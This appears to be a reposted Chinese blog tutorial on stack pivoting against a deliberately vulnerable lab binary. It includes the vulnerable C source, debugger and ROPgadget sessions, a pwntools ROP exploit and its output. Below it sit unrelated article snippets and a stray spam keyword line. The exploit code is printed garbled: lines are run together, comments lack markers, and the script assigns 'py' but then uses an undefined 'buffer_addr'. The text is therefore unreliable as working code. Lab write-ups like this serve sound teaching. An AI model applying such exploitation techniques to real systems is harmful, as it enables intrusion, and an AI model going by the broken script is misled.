<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一個簡單實踐理解棧空間轉移

    VSole2023-03-31 10:12:03

    1 what

    stack pivoiting是一種棧空間轉移技術。

    2 why

    有時候緩沖區有長度限制,不利于在棧上配置rop gadget(空間不夠)!

    3 how

    3.1 pop rsp gadget

    這種情形比較少見,遇到了相當幸運。

    3.2 xchg , rsp

    pop                 <=== return pointervalue>xchg , rsp
    

    3.3 leave;ret

    leave相當于:

    mov rsp,rbppop rbp
    

    加上ret就等于:

    mov rsp,rbppop rbppop rip
    

    覆蓋rbp,然后棧中的rip覆蓋為Addr(leave;ret),當接收數據的函數返回時候,rsp指向target,target新棧中保留了待執行shellcode。

    4 漏洞程序 vuln

    // gcc source.c -o vuln -no-pie#include  void winner(int a, int b) {    if(a == 0xdeadbeef && b == 0xdeadc0de) {        puts("Great job!");        return;    }    puts("Whelp, almost...?");} void vuln() {    char buffer[0x60];    printf("Try pivoting to: %p", buffer);    fgets(buffer, 0x80, stdin);} int main() {    vuln();    return 0;}
    

    4.1 vuln脆弱性

    存在輸入性棧溢出,buffer大小0x60。

    fgets存在輸入大小限制,0x80上界。

    程序編譯保護存在,nx。

    ─$ checksec --file=./vuln[*] '/home/kali/exploits/spivot/vuln'  Arch:     amd64-64-little  RELRO:    Partial RELRO  Stack:    No canary found  NX:       NX enabled  PIE:      No PIE (0x400000)
    

    4.2 vuln脆弱性利用目標

    rip指向 winner函數,獲取winner函數的執行權

    4.3 vuln利用步驟

    4.3.1 測算rip的偏移

    ① 生成de bruijn串

    └─$ ragg2 -P 200 -rAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
    

    ② fuzz vuln

    ┌──(kali?kali)-[~/exploits/spivot]└─$ r2 -d -A vuln[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Finding and parsing C++ vtables (avrr)[x] Skipping type matching analysis in debugger mode (aaft)[x] Propagate noreturn information (aanr)[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.[0x7f93b6df79c0]> dcTry pivoting to: 0x7ffcd3256000AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
    

    ③ 確定rip偏移

    [0x004011c5]> dr rbp0x4169414168414167[0x004011c5]> wopO `dr rbp`96
    

    所以,rip的偏移是104 = 96 + 8

    ④ 猜測棧基本布局

    stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |

    因為fgets輸入長度限制是0x80==128,而且,棧不可執行shellcode,所以,可以覆蓋的區域只有 rip,x1,x2 三個變量的地址,且只能用rop gadget方式。

    4.3.2 尋找可用gadget

    pop rdi

    ──(kali?kali)-[~/exploits/spivot]└─$ ROPgadget --binary vuln  | grep   'pop rdi'
    

    很不幸,vuln程序中找不到類似pop rdi | pop rsi等指令,只能去libc找一個用用。

    libc找gadget的前提是ASLR已經關閉:

    ──(kali?kali)-[~/exploits/spivot]└─$ cat /proc/sys/kernel/randomize_va_space0
    

    ROPgadget尋找libc

    ```

    └─$ ldd vuln

    linux-vdso.so.1 (0x00007ffff7fc9000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
    

    ┌──(kali?kali)-[~/exploits/spivot]

    └─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'

    0x0000000000027725 : pop rdi ; ret

    0x0000000000065b7d : pop rdi ; ret 0x16

    所以,**POP_RDI = 0x00007f85682b0000 + 0x027725** 2. pop rsi
    

    ┌──(kali?kali)-[~/exploits/spivot]

    └─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'

    0x0000000000028ed9 : pop rsi ; ret

    0x0000000000085336 : pop rsi ; retf

    所以,**POP_RSI = 0x00007f85682b0000 + 0x028ed9** 3. pop rsp
    

    ┌──(kali?kali)-[~/exploits/spivot]

    └─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'

    ...

    0x00000000000fd999 : pop rsp ; jmp 0xfd8e0

    0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0

    0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd

    ...

    0x00000000000273aa : pop rsp ; ret

    所以,**POP_RSP = 0x00007f85682b0000 + 0x0273aa** ### 4.3.3 規劃棧布局 - **old_stack ::= |+00 buffer | +96 rbp |  +104 rip | +112  x1 |  +120 x2 | +128 x3 |** new_stack ::= | 新棧布局     ||  :---:      || +00 POP_RDI         || +08 0xdeadbeef   || +16 POP_RSI      || +24 0xdeadc0de   || +32 winner_addr  || ...              || +104 POP_RSP (rip位置)    || +112 Buffer_addr | ### 4.3.4 pwntools編寫利用代碼
    

    from pwn import *

    elf = context.binary = ELF('./vuln')

    p = process()

    獲取buffer_addr

    p.recvuntil('to: ')

    py = int(p.recvline(),16)

    log.info(f'leak buffer addr: {hex(buffer_addr)}')

    LIBC = 0x00007ffff7dce000

    POP_RSP = LIBC + 0x0273aa

    POP_RDI = LIBC + 0x027725

    POP_RSI = LIBC + 0x028ed9

    設置payload

    payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])

    payload = payload.ljust(104,b'A')

    payload += flat(POP_RSP,buffer_addr)

    send payload

    p.sendline(payload)

    print(p.recvline())

    ### exploit output
    

    └─$ python exploit.py

    [] '/home/kali/exploits/spivot/vuln'

    Arch: amd64-64-little

    RELRO: Partial RELRO

    Stack: No canary found

    NX: NX enabled

    PIE: No PIE (0x400000)

    [+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678

    [] leak buffer addr: 0x7fffffffe280

    [] Paused (press any to continue)

    b'Great job!'

    [] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)

    ```

    rip
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Ripper 的傳播機制借鑒自 Mirai:樣本中內置 Telnet 弱口令掃描模塊,掃描模塊會把掃描結果上報給 Report Server,攻擊者會根據上報的掃描結果,控制 Loader 向失陷主機植入 Ripper 的木馬文件。
    來自JSOF的網絡安全研究人員剛剛公布了19個名為Ripple20的漏洞,這些漏洞正在影響Treck開發的TCP/IP協議棧。實際上,諸如Cisco Cyber Vision和Cisco工業安全設備ISA3000之類的產品以及Cisco Talos的 Snort簽名將有助于識別網絡中的Ripple20漏洞并補救風險。一些Ripple20漏洞也會影響Zuken Elmic維護的TCP/IP棧。其中有4個至關重要,CVSS嚴重性等級得分超過9。Cisco Cyber Vision是專門設計用于檢測針對IoT / OT設備的攻擊的解決方案。這將可以遏制潛在的攻擊,并且不會擴散到整個網絡。
    一般在獲取靶機的初始shell后,會進行提權,可以先查看home目錄下的用戶,因為有可能需要這個用戶來做跳板去獲取root權限;然后可以查看有沒有sudo濫用,定時任務,suid文件,或者home目錄下另外一個用戶時宿主的文件等等,但是,往往有一個很容易被忽略,歷史命令的查看。
    國土安全部和CISA ICS-CERT將發布一份重要的安全咨詢警告,內容是關于十幾個新發現的漏洞,這些漏洞影響了全球500多家供應商生產的數十億互聯網連接設備。被稱為“Ripple20”的19個漏洞存在于Treck開發的低級TCP/IP軟件庫中,如果將其武器化,可以讓遠程攻擊者完全控制目標設備,而無需任何用戶交互。
    Orange 西班牙公司的 RIPE 賬號被盜,攻擊者將其網絡核心配置(BGP和RPKI)改為無效,導致全國互聯網中斷了大約 3 小時;據悉,攻擊者在信息竊取軟件的數據集中發現了此次被利用的賬號(未啟用雙因子認證),為了“找樂子”實施了此次攻擊。
    值得指出的是,即使是IS-IS協議,也要流經協議棧的網絡層,而網絡層同樣有IS-IS路由表,網絡層同樣要依賴于這個IS-IS路由表提供路由服務。不工作在TCP/IP協議架構之上的IS-IS,查IS-IS路由表。路由協議不能沒有路由表,但是路由表可以沒有路由協議。這里進程之間的通信是指進程使用TCP/IP作為通信的橋梁。需要指出的是,路由協議產生的路由表,并不都是可以進入TCP/IP的全局路由表。
    傳輸介質簡介
    企業設備安全公司Forescout與其他企業合作進行了名為Project Memoria的調查研究,發現了Ripple20、AMNESIA:33、NUMBER:JACK、NAME:WRECK、INFRA:HALT和NUCLEUS:13等多個漏洞。 TCP/IP協議棧廣為各種通信設備所用,深度融入媒體產品、工業控制系統(ICS)、打印機、交換機等設備。 研究人員在14個TCP/IP協議棧中發現了
    實戰靶場:MERCY V2
    2022-01-07 16:55:00
    一、知識點和漏洞 1.知識點 1)Samba文件共享服務 2)端口敲門 3)NC反彈shell 4)制作可以反彈shell的木馬文件 5)Suid提權 2.漏洞 1)RIPS 0.53的本地文件包含漏洞 2)操作系統層的臟牛提權漏洞【這題里面有點雞肋】 二、整體環境和工具
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类